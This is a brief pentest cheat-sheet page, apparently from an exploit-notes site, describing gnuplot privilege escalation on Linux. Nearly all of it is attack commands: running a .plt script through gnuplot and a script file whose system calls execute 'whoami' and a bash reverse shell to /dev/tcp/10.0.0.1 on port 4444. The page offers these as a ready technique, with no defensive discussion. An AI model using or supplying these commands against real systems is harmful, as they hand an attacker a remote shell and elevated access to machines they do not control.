# Gnuplot Privilege Escalation

### [Command Execution](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/gnuplot-privilege-escalation/#command-execution) <a href="#command-execution" id="command-execution"></a>

The script file of **`gnuplot`** can be used to execute system commands as below.

```bash
gnuplot test.plt
Copied!
```

Contents of the **`.plt`** is like the following.

```bash
system "whoami"

# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
Copied!
```

### References

* <http://gnuplot.info/docs_5.5/loc18483.html>

<br>
